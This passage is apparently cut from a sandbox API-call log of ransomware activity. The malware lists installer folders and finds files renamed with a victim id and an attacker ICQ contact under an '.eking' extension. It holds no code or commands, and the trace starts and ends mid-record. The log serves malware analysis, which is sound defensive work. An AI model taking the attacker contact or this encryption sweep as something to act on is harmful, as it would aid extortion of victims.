ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6352a6d, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc638c1df, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.845] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc638c1df, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc638c1df, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75f4a59, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.845] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.845] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.845] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.847] GetProcessHeap () returned 0xc10000 [0212.847] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.847] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="2052", cAlternateFileName="")) returned 1 [0212.847] GetProcessHeap () returned 0xc10000 [0212.847] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.850] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.850] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75ce88a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.850] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75ce88a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75ce88a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc77f3f35, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.850] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.850] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.850] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.852] GetProcessHeap () returned 0xc10000 [0212.852] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.852] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="2070", cAlternateFileName="")) returned 1 [0212.852] GetProcessHeap () returned 0xc10000 [0212.852] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.854] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.854] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7640e6c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.854] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7640e6c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7640e6c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.854] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.855] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.855] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.856] GetProcessHeap () returned 0xc10000 [0212.856] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.856] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="3076", cAlternateFileName="")) returned 1 [0212.856] GetProcessHeap () returned 0xc10000 [0212.856] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.859] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.859] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc781a21f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc781a21f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.859] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7840447, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7840447, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.859] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.860] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.860] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.861] GetProcessHeap () returned 0xc10000 [0212.861] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.861] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="3082", cAlternateFileName="")) returned 1 [0212.861] GetProcessHeap () returned 0xc10000 [0212.861] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.861] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.864] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.865] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78b2ba8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc78b2ba8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc799789a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.865] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d2b250, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.865] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.865] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.865] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.866] GetProcessHeap () returned 0xc10000 [0212.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.867] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Client", cAlternateFileName="")) returned 1 [0212.867] GetProcessHeap () returned 0xc10000 [0212.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.871] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.871] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d513e7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x606, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0212.871] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x606, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0212.871] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x606, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0212.871] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.872] GetProcessHeap () returned 0xc10000 [0212.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.872] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d513e7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d513e7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d9d7b8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DHTMLH~1.EKI")) returned 1 [0212.872] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9d7b8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d9d7b8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f675ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DISPLA~1.EKI")) returned 1 [0212.872] FindNextFileW (in: 